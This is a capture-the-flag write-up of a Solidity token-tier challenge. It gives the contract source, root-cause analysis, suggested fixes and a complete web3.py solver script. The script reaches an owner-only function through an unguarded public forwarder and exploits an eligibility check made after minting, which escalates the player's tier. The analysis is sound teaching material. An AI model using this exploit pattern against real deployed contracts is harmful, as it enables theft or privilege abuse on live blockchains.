Writeup Aria
C2C Qualification EnglishBlockchain

tge

1771211235078

description

Author: hygge

i dont understand what tge is so all this is very scuffed, but this all hopefully for you to warmup, pls dont be mad Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-tge

Attachments

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {TGE} from "./TGE.sol";
import {Token} from "./Token.sol";

contract Setup {
    TGE public tge;
    Token public token;
    address public player;

    constructor(address _player) {
        player = _player;

        token = new Token("TOK", "TOK", 100);
        tge = new TGE(address(token), 15, 35, 50);
        tge.setTgePeriod(true);
        token.mint(player, 15);
    }

    function enableTge(bool _tge) public {
        tge.setTgePeriod(_tge);
    }

    function isSolved() external view returns (bool) {
        require(tge.userTiers(player) == 3, "not yet");
        return true;
    }
}

TGE.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Token} from "./Token.sol";

contract TGE {
    Token public immutable token;

    uint256 public constant TIER_1 = 1;
    uint256 public constant TIER_2 = 2;
    uint256 public constant TIER_3 = 3;

    address public owner;

    mapping(uint256 => uint256) public maxSupply;
    mapping(uint256 => uint256) public mintPrice;

    mapping(uint256 => uint256) public totalSupply;
    mapping(address => mapping(uint256 => uint256)) public balance;

    mapping(uint256 => uint256) public preTGESupply; // snapshot taken ONCE
    mapping(address => mapping(uint256 => uint256)) public preTGEBalance;

    mapping(address => uint256) public userTiers;
    uint256[] public tierIds;

    bool public isTgePeriod;
    bool public tgeActivated;

    modifier onlyOwner() {
        require(msg.sender == owner, "only owner");
        _;
    }

    constructor(
        address _token,
        uint256 maxSupplyTier1,
        uint256 maxSupplyTier2,
        uint256 maxSupplyTier3
    ) {
        require(_token != address(0), "token=0");
        require(maxSupplyTier1 > 0 && maxSupplyTier2 > 0 && maxSupplyTier3 > 0, "bad max");

        token = Token(_token);
        owner = msg.sender;

        maxSupply[TIER_1] = maxSupplyTier1;
        maxSupply[TIER_2] = maxSupplyTier2;
        maxSupply[TIER_3] = maxSupplyTier3;

        mintPrice[TIER_1] = maxSupplyTier1;

        tierIds.push(TIER_1);
        tierIds.push(TIER_2);
        tierIds.push(TIER_3);
    }

    function setTgePeriod(bool _isTge) external onlyOwner {
        if (!_isTge && isTgePeriod && !tgeActivated) {
            tgeActivated = true;
            _snapshotPreTGESupply();
        }

        isTgePeriod = _isTge;
    }

    function buy() external {
        require(isTgePeriod, "TGE closed");
        require(userTiers[msg.sender] == 0, "already registered");

        require(token.transferFrom(msg.sender, address(this), mintPrice[TIER_1]), "payment failed");

        _mint(msg.sender, TIER_1, 1);
        userTiers[msg.sender] = TIER_1;
    }

    function upgrade(uint256 tier) external {
        require(tier <= 3 && tier >= 2);
        require(userTiers[msg.sender]+1 == tier);
        require(tgeActivated && isTgePeriod);

        _burn(msg.sender, tier-1, 1);
        _mint(msg.sender, tier, 1);

        require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");
        userTiers[msg.sender] = tier;
    }

    function _mint(address to, uint256 tier, uint256 quantity) internal {
        _validateTier(tier);
        require(quantity > 0, "qty=0");
        require(totalSupply[tier] + quantity <= maxSupply[tier], "max supply");

        totalSupply[tier] += quantity;
        balance[to][tier] += quantity;

        if (isTgePeriod) {
            preTGEBalance[to][tier] += quantity;
        }
    }

    function _burn(address from, uint256 tier, uint256 quantity) internal {
        _validateTier(tier);
        require(balance[from][tier] >= quantity, "insufficient");

        balance[from][tier] -= quantity;
        totalSupply[tier] -= quantity;
    }

    function _snapshotPreTGESupply() internal {
        for (uint256 i = 0; i < tierIds.length; i++) {
            uint256 id = tierIds[i];
            preTGESupply[id] = totalSupply[id];
        }
    }

    function _validateTier(uint256 tier) internal pure {
        require(tier == TIER_1 || tier == TIER_2 || tier == TIER_3, "invalid tier");
    }
}

Token.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;

import { ERC20 } from "./lib//ERC20.sol";
import { Ownable } from "./lib/Ownable2Step.sol";

contract Token is ERC20, Ownable {
    uint256 public constant MAX_SUPPLY = 1_000_000_000 * 10 ** 18;
    error MaxSupplyExceeded();

    constructor(string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
        Ownable(msg.sender)
    {
        require(initialSupply <= MAX_SUPPLY, MaxSupplyExceeded());
        _mint(msg.sender, initialSupply);
    }

    function mint(address account, uint256 amount) external onlyOwner {
        require(totalSupply() + amount <= MAX_SUPPLY, MaxSupplyExceeded());
        _mint(account, amount);
    }
}

Overview

Brief summary

  • The TGE challenge is a layered token-generation event (3 tiers). The goal of the exploit is to make userTiers(player) == 3 so that Setup.isSolved() returns true. ✅

Main contracts

  • Setup.sol — deploys and configures the system (mints tokens to the player, enables initial TGE).
  • TGE.sol — handles buy/upgrade tier logic, pre‑TGE snapshot, and eligibility rules.
  • Token.sol — simple ERC20 token (owner can mint).

Important mechanics (high‑level)

  • The player receives 15 tokens from Setup and mintPrice[TIER_1] == 15 → enough to buy() Tier 1.
  • setTgePeriod(false) (owner) takes a snapshot once (preTGESupply) when TGE is disabled for the first time; the tgeActivated flag prevents repeated snapshots.
  • Every mint while isTgePeriod == true increases preTGEBalance[addr][tier] (the snapshot only records totalSupply when TGE is disabled).
  • upgrade(tier) performs: burn previous tier → mint new tier → then checks preTGEBalance[msg][tier] > preTGESupply[tier] before increasing userTiers.

Vulnerability — root cause (short)

  • ⚠️ The eligibility check (preTGEBalance > preTGESupply) is performed after minting inside upgrade() — allowing the same mint to satisfy the requirement if the snapshot shows preTGESupply[tier] is low (e.g., 0).
  • The snapshot is taken only once when the owner disables TGE, allowing the attacker to ensure preTGESupply for higher tiers = 0.

Exploit (summary)

  1. approve() + buy() Tier 1 (using the 15 tokens provided by Setup).
  2. Trigger snapshot: owner calls enableTge(false) → snapshot occurs.
  3. Re‑enable TGE: enableTge(true).
  4. Call upgrade(2) then upgrade(3) — internal mint makes preTGEBalance > preTGESupply, so the upgrade succeeds.

Why this solves the challenge

  • After two upgrades, userTiers(player) becomes 3 and Setup.isSolved() is satisfied. 🎯

Recommended fix (short)

  • Move the eligibility check before _mint, or snapshot preTGEBalance / preTGESupply in a way that cannot be manipulated during upgrade.

Smart Contract Analysis

Objective & logic summary

  • The goal of the TGE contract is to provide a buy()upgrade() flow until userTiers[player] == 3.
  • The pre‑TGE snapshot is taken once when the owner disables TGE (setTgePeriod(false)); upgrade eligibility depends on comparing preTGEBalance vs preTGESupply.

Important variables & functions

  • isTgePeriod — indicates whether TGE is open for mint/buy.
  • tgeActivated — set when the snapshot is taken (true after the owner disables TGE for the first time).
  • preTGESupply[tier] — snapshot of totalSupply for each tier at snapshot time.
  • preTGEBalance[addr][tier] — incremented when mint occurs during isTgePeriod.
  • Setup.enableTge() — exposes TGE.setTgePeriod() (owner proxy); anyone can toggle because Setup is the owner of TGE.
  • upgrade(tier) — performs _burn then _mint, then checks preTGEBalance > preTGESupply.

Why the bug can be exploited (root cause)

There is a combination of several design flaws that allow an attacker to upgrade tiers illegitimately:

1. Owner privilege exposed via Setup contract (Critical)

The TGE contract restricts the following function to the owner:

function setTgePeriod(bool _isTge) external onlyOwner

The owner of the TGE contract is the Setup contract. However, Setup exposes the following function publicly:

function enableTge(bool _tge) public {
    tge.setTgePeriod(_tge);
}

Because this function has no access control, an attacker can indirectly call an owner‑only function. This allows the attacker to:

  • disable TGE at any time,
  • trigger the preTGESupply snapshot,
  • and re‑enable TGE as needed for the exploit.

This is a privilege escalation vulnerability.

2. Snapshot design flaw — preTGEBalance can still change after snapshot

The snapshot only stores preTGESupply:

preTGESupply[id] = totalSupply[id];

However, preTGEBalance can still increase after the snapshot:

if (isTgePeriod) {
    preTGEBalance[to][tier] += quantity;
}

As a result, the attacker can increase preTGEBalance after the snapshot, meaning the snapshot no longer represents a valid historical state.

3. Eligibility check is performed after mint

Inside the upgrade() function:

_burn(msg.sender, tier-1, 1);
_mint(msg.sender, tier, 1);

require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");

Because _mint() is called before the eligibility check, the mint itself immediately increases preTGEBalance, allowing the eligibility condition to be satisfied using the same mint.

Exploit flow (short state transition)

  1. Player calls buy() Tier‑1 (using 15 TOK) → preTGEBalance[player][1] = 1, totalSupply[1] increases.

  2. Call setup.enableTge(false)tgeActivated=true, snapshot taken: preTGESupply[2]=0, preTGESupply[3]=0.

  3. Call setup.enableTge(true)isTgePeriod=true again.

  4. upgrade(2):

    • _burn Tier‑1, _mint Tier‑2 (adds preTGEBalance[player][2] because isTgePeriod==true),
    • require(preTGEBalance[player][2] > preTGESupply[2])1 > 0 → success.
  5. upgrade(3) same process → userTiers[player]==3 → challenge solved.

Impact & severity

  • This logic allows tier escalation without the intended pre‑TGE condition — severity: High.
  1. Preferred — do not update preTGEBalance after snapshot:
if (isTgePeriod && !tgeActivated) {
    preTGEBalance[to][tier] += quantity;
}
  1. Alternative/additional: move the eligibility check before performing _mint() in upgrade() so minting cannot influence the intended check.
  2. Restrict proxy owner exposure: change Setup.enableTge() to onlyOwner or remove the public forwarder.
  3. Add unit tests for snapshot + reenable + upgrade scenarios (must revert if eligibility is not met).

Solution Steps

Step 0 — Access RPC Node

Step 1 — Preparation: approve & buy Tier 1

  • ensure the wallet/privkey used is player (Setup already minted 15 TOK to player)
  • call token.approve(tge_address, 15) from the player account
  • call tge.buy() — pays mintPrice[TIER_1] and receives Tier 1

Step 2 — Trigger snapshot (pre‑TGE)

  • owner (via Setup.enableTge(false)) disables TGE once → tgeActivated = true and _snapshotPreTGESupply() is called
  • re‑enable TGE with Setup.enableTge(true) so the TGE period is open again (for the next mint/upgrade)

Step 3 — Upgrade to Tier 2

  • call tge.upgrade(2) from the player

    • internal: _burn Tier‑1, _mint Tier‑2 (adds preTGEBalance[player][2] if isTgePeriod==true), then checks preTGEBalance > preTGESupply
    • because preTGESupply[2] is usually = 0 (snapshot), the condition is satisfied → userTiers[player] = 2
  • verify: tge.userTiers(player) == 2

Step 4 — Upgrade to Tier 3

  • call tge.upgrade(3) (same process as Step 3)
  • verify: tge.userTiers(player) == 3

Step 5 — Verify solve & retrieve flag

  • call setup.isSolved() → must return true
  • check launcher / event logs to obtain the flag

Short note

  • Root cause of exploit: the preTGEBalance > preTGESupply check is evaluated after _mint in upgrade() and the snapshot is taken only once — this combination can be manipulated.
  • For automated steps see solver.py (below).

Exploit Script (solver.py)

from web3 import Web3

# Data dari soal
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

# ABI Minimal
setup_abi = [
    {"inputs":[],"name":"tge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[{"internalType":"bool","name":"_tge","type":"bool"}],"name":"enableTge","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
tge_abi = [
    {"inputs":[],"name":"buy","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"uint256","name":"tier","type":"uint256"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
token_abi = [
    {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]

setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
tge_addr = setup_contract.functions.tge().call()
token_addr = setup_contract.functions.token().call()

tge_contract = w3.eth.contract(address=tge_addr, abi=tge_abi)
token_contract = w3.eth.contract(address=token_addr, abi=token_abi)

def send_tx(tx_func):
    tx = tx_func.build_transaction({
        'from': account.address,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gasPrice': w3.eth.gas_price
    })
    signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
    hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(hash)

# 1. Approve & Buy Tier 1
print("[*] Approving tokens...")
send_tx(token_contract.functions.approve(tge_addr, 15))
print("[*] Buying Tier 1...")
send_tx(tge_contract.functions.buy())

# 2. Snapshot (Set TGE false lalu true lagi)
print("[*] Triggering snapshot (TGE false)...")
send_tx(setup_contract.functions.enableTge(False))
print("[*] Re-enabling TGE...")
send_tx(setup_contract.functions.enableTge(True))

# 3. Upgrade ke Tier 2
print("[*] Upgrading to Tier 2...")
send_tx(tge_contract.functions.upgrade(2))

# 4. Upgrade ke Tier 3
print("[*] Upgrading to Tier 3...")
send_tx(tge_contract.functions.upgrade(3))

print("[+] Done! Check isSolved on website.")

python3 solver.py

1771212073929

This script performs the following steps:

  1. Approves the token (approve) from the player to the TGE contract.
  2. Purchases Tier 1 using buy() (using the 15 TOK provided by Setup).
  3. Triggers a snapshot by calling enableTge(false) and then re‑enabling it with enableTge(true) (the snapshot occurs when TGE is disabled).
  4. Calls upgrade(2) — the internal mint causes preTGEBalance[addr][2] > preTGESupply[2], allowing the upgrade to succeed.
  5. Calls upgrade(3) to reach userTiers == 3.
  6. Checks isSolved() on the Setup contract to verify and retrieve the flag.

After that, we can obtain the flag from the blockchain launcher. 1771212099873

flag

C2C{just_a_warmup_from_someone_who_barely_warms_up}

On this page